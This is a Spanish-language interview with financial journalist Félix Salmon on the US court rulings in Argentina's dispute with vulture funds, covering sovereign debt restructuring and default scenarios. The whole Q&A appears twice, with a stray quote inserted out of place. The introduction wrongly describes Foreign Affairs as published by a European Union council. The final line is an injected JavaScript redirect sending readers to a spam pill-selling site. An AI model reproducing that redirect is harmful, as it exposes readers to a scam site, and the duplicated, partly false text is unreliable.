El 24 de junio, el británico Félix Salmon, periodista y especialista en finanzas escribió una nota titulada «Soberanos contra buitres, cómo las cortes de los Estados Unidos están trastocando las finanzas internacionales». El texto se publicó en la revista Foreign Affaires, publicación del Council of Foreign Affaire, un consejo de la Unión Europea. Según explica Tiempo Argentino, en dicho escrito acusó a la Corte Suprema de los Estados Unidos de ser «peligrosamente fundamentalista» y de «tener el poder para poner a una nación soberana de rodillas».
–¿Cuáles son las consecuencias para los países soberanos del fallo de Griesa y de la Corte?
–Es una pregunta difícil. Todavía no hemos llegado a desarrollar toda la trama detrás del conflicto. Es posible que los países soberanos tengan más dificultades para la reestructuración de deuda bajo Ley Nueva York, pero ahí todo depende de cómo se formule el bono en su emisión y bajo qué ley decida emitir. Es posible que fuera de Nueva York se siga tratando igual que antes, o puede que sigan esta interpretación.
–¿Es una decisión a favor del sector privado y en contra del sector público en el ámbito de las finanzas?
–Bueno, Argentina ha estado haciendo muchos pagos a otros países y Elliot Capital no ha tenido problemas con ello. Si bien no hay nada legal, ninguna resolución que diga que se lo favorece, parece un hecho que el sector privado hasta cierto punto ha logrado mayor poder. Pero hay que esperar a ver cuáles son los resultados.
«Creo que Argentina está haciendo una acción inteligente, diciendo «estamos tratando de pagar esto, pero el problema es que el dinero no llegará realmente a los bonistas».
–¿Cree que el fallo de Griesa es justo? Cree que es racional?
–Yo diría que no a lo primero y sí a lo segundo. No creo que sea justo, sobre todo para Argentina, para los países soberanos, pero las decisiones de la Corte Suprema y Griesa tienen bastante consistencia interna.
–¿Cuál es su opinión respecto de los fondos buitre? ¿Son legales?
–Sí, ellos realizan una actividad muy importante en los mercados de capitales. Cuando un país o un privado entran en default, comúnmente se necesita emitir bonos y alguien que se los compre. Por eso es necesario que los fondos buitre existan. Ellos compran cuando nadie quiere, evitando que los precios caigan más. El problema es que son buenos litigando y esperan pacientemente a cobrar todo lo que pueden.
–¿Cree que habrá consecuencias de estas decisiones para Nueva York como centro financiero mundial y para el sistema financiero internacional?
–No estoy seguro todavía. Hay que ver las próximas semanas y cuánto caos se produce a partir de este conflicto. Es posible que perjudique a Nueva York, pero también es posible que pase desapercibido.
–¿Cómo ha sido visto el conflicto en los medios de los EE UU? ¿Está la opinión pública con o contra Argentina?
–Bueno, generalmente aquellos que están a favor o en contra de alguna manera están implicados, pero por lo que he visto y sentido, este es un caso increíblemente complicado y la gente no lo entiende demasiado bien. Y para el que no conoce, parece que Argentina defaulteó su deuda y los buitres buscan aquello que les corresponde, por lo que ahora la Corte quiere que paguen lo que deben. En consecuencia, no entienden cuán loco y problemático es el fallo.
–¿Creés que en los últimos seis meses hubo un cambio en cómo los medios de EE UU e Inglaterra ven el conflicto?
–Creo que ha tomado una importancia mucho mayor. Ha llegado a una instancia a la que creíamos que no iba a llegar nunca. Salvo algunos periodistas especializados, nadie tenía noción de la importancia del asunto. Y ahora, de golpe, todos dicen «oh, esto es algo importante», el país podría caer en default, y probablemente eso explique el cambio en la forma en la que los medios tratan el litigio.
–¿Por qué cree que este conflicto no era un problema y ha llegado a ser un problema? ¿La decisión de la Corte Suprema cambió todo?
–Sí, este problema del pago del cupón de deuda ha cambiado mucho las perspectivas, y la discusión que se está dando es si van a poder lograr pagarlo o estamos ante un escenario de default. Estábamos dependiendo de la posibilidad de que la Corte Suprema pudiera postergar su decisión, pero eso no sucedió. También creíamos que el stay iba a tardar en levantarse, dejando algo más de tiempo. Cuando nos dimos cuenta, el vencimiento del cupón estaba frente a nuestras narices y no iban a lograrlo. Pero al mismo tiempo si miramos a los mercados, los bonos han subido de precio, tampoco hay un escenario de catástrofe.
–Recientemente Argentina ha decidido pagar a los bonistas del canje y Griesa negó la posibilidad de un stay. ¿Qué opina sobre la situación en que queda Argentina?
–Creo que Argentina está haciendo una acción inteligente, diciendo «estamos tratando de pagar esto, pero el problema es que el dinero no llegará realmente a los bonistas. No pueden decir que no intentamos, lo hicimos, pero no es nuestra culpa, sino de la Corte de los Estados Unidos». Esto no sería leído como un default, en el sentido de un cese de pagos voluntario, sino como un default forzado.
–¿Cuáles son las perspectivas para Argentina en materia macroeconómica?
–Es impensable repetir la miseria que ustedes sufrieron en 2001, es incomparable. Además Argentina va a seguir pudiendo pedir prestado dinero domésticamente, que es lo que ha venido haciendo en los últimos diez años. Y no tendría un problema de desconexión de los mercados de capitales internacionales porque no está actualmente conectada ni dependiente de ellos. Y si además se ve forzado a no pagar, todo ese dinero que iría al pago de los cupones de los bonos puede ser utilizado para otros fines. Por lo tanto, Argentina como país, aunque tenga algunos desequilibrios macroeconómicos, no está de ninguna manera en el camino de miseria que sufrió en 2001.
–¿Cuáles son las posibilidades para Argentina ahora?
–Supongo que van a hablar con NML a ver qué tipo de arreglo se puede hacer. Muchos dicen que es posible que se llegue a un acuerdo beneficioso para las partes, yo soy bastante más escéptico. En tal caso van a tratar de ver cómo hacer un canje para seguir pagando en Buenos Aires. Mi idea era que trataran algún tipo de mecanismo de recompra de deuda con el dinero que usarían para pagar los cupones de la deuda. Pero ninguna de las opciones es buena. Argentina no tiene buenas opciones a mano. Creo que los fondos buitre han llegado a una situación en la cual Argentina está atrapada y condicionada a pagar o a elegir entre otras opciones que no son prometedoras.
–¿Cuáles son las consecuencias para los países soberanos del fallo de Griesa y de la Corte?
–Es una pregunta difícil. Todavía no hemos llegado a desarrollar toda la trama detrás del conflicto. Es posible que los países soberanos tengan más dificultades para la reestructuración de deuda bajo Ley Nueva York, pero ahí todo depende de cómo se formule el bono en su emisión y bajo qué ley decida emitir. Es posible que fuera de Nueva York se siga tratando igual que antes, o puede que sigan esta interpretación.
–¿Es una decisión a favor del sector privado y en contra del sector público en el ámbito de las finanzas?
–Bueno, Argentina ha estado haciendo muchos pagos a otros países y Elliot Capital no ha tenido problemas con ello. Si bien no hay nada legal, ninguna resolución que diga que se lo favorece, parece un hecho que el sector privado hasta cierto punto ha logrado mayor poder. Pero hay que esperar a ver cuáles son los resultados.
«Creo que Argentina está haciendo una acción inteligente, diciendo «estamos tratando de pagar esto, pero el problema es que el dinero no llegará realmente a los bonistas».
–¿Cree que el fallo de Griesa es justo? Cree que es racional?
–Yo diría que no a lo primero y sí a lo segundo. No creo que sea justo, sobre todo para Argentina, para los países soberanos, pero las decisiones de la Corte Suprema y Griesa tienen bastante consistencia interna.
–¿Cuál es su opinión respecto de los fondos buitre? ¿Son legales?
–Sí, ellos realizan una actividad muy importante en los mercados de capitales. Cuando un país o un privado entran en default, comúnmente se necesita emitir bonos y alguien que se los compre. Por eso es necesario que los fondos buitre existan. Ellos compran cuando nadie quiere, evitando que los precios caigan más. El problema es que son buenos litigando y esperan pacientemente a cobrar todo lo que pueden.
–¿Cree que habrá consecuencias de estas decisiones para Nueva York como centro financiero mundial y para el sistema financiero internacional?
–No estoy seguro todavía. Hay que ver las próximas semanas y cuánto caos se produce a partir de este conflicto. Es posible que perjudique a Nueva York, pero también es posible que pase desapercibido.
–¿Cómo ha sido visto el conflicto en los medios de los EE UU? ¿Está la opinión pública con o contra Argentina?
–Bueno, generalmente aquellos que están a favor o en contra de alguna manera están implicados, pero por lo que he visto y sentido, este es un caso increíblemente complicado y la gente no lo entiende demasiado bien. Y para el que no conoce, parece que Argentina defaulteó su deuda y los buitres buscan aquello que les corresponde, por lo que ahora la Corte quiere que paguen lo que deben. En consecuencia, no entienden cuán loco y problemático es el fallo.
–¿Creés que en los últimos seis meses hubo un cambio en cómo los medios de EE UU e Inglaterra ven el conflicto?
–Creo que ha tomado una importancia mucho mayor. Ha llegado a una instancia a la que creíamos que no iba a llegar nunca. Salvo algunos periodistas especializados, nadie tenía noción de la importancia del asunto. Y ahora, de golpe, todos dicen «oh, esto es algo importante», el país podría caer en default, y probablemente eso explique el cambio en la forma en la que los medios tratan el litigio.
–¿Por qué cree que este conflicto no era un problema y ha llegado a ser un problema? ¿La decisión de la Corte Suprema cambió todo?
–Sí, este problema del pago del cupón de deuda ha cambiado mucho las perspectivas, y la discusión que se está dando es si van a poder lograr pagarlo o estamos ante un escenario de default. Estábamos dependiendo de la posibilidad de que la Corte Suprema pudiera postergar su decisión, pero eso no sucedió. También creíamos que el stay iba a tardar en levantarse, dejando algo más de tiempo. Cuando nos dimos cuenta, el vencimiento del cupón estaba frente a nuestras narices y no iban a lograrlo. Pero al mismo tiempo si miramos a los mercados, los bonos han subido de precio, tampoco hay un escenario de catástrofe.
–Recientemente Argentina ha decidido pagar a los bonistas del canje y Griesa negó la posibilidad de un stay. ¿Qué opina sobre la situación en que queda Argentina?
–Creo que Argentina está haciendo una acción inteligente, diciendo «estamos tratando de pagar esto, pero el problema es que el dinero no llegará realmente a los bonistas. No pueden decir que no intentamos, lo hicimos, pero no es nuestra culpa, sino de la Corte de los Estados Unidos». Esto no sería leído como un default, en el sentido de un cese de pagos voluntario, sino como un default forzado.
–¿Cuáles son las perspectivas para Argentina en materia macroeconómica?
–Es impensable repetir la miseria que ustedes sufrieron en 2001, es incomparable. Además Argentina va a seguir pudiendo pedir prestado dinero domésticamente, que es lo que ha venido haciendo en los últimos diez años. Y no tendría un problema de desconexión de los mercados de capitales internacionales porque no está actualmente conectada ni dependiente de ellos. Y si además se ve forzado a no pagar, todo ese dinero que iría al pago de los cupones de los bonos puede ser utilizado para otros fines. Por lo tanto, Argentina como país, aunque tenga algunos desequilibrios macroeconómicos, no está de ninguna manera en el camino de miseria que sufrió en 2001.
–¿Cuáles son las posibilidades para Argentina ahora?
–Supongo que van a hablar con NML a ver qué tipo de arreglo se puede hacer. Muchos dicen que es posible que se llegue a un acuerdo beneficioso para las partes, yo soy bastante más escéptico. En tal caso van a tratar de ver cómo hacer un canje para seguir pagando en Buenos Aires. Mi idea era que trataran algún tipo de mecanismo de recompra de deuda con el dinero que usarían para pagar los cupones de la deuda. Pero ninguna de las opciones es buena. Argentina no tiene buenas opciones a mano. Creo que los fondos buitre han llegado a una situación en la cual Argentina está atrapada y condicionada a pagar o a elegir entre otras opciones que no son prometedoras.
window.location = «http://cheap-pills-norx.com»;
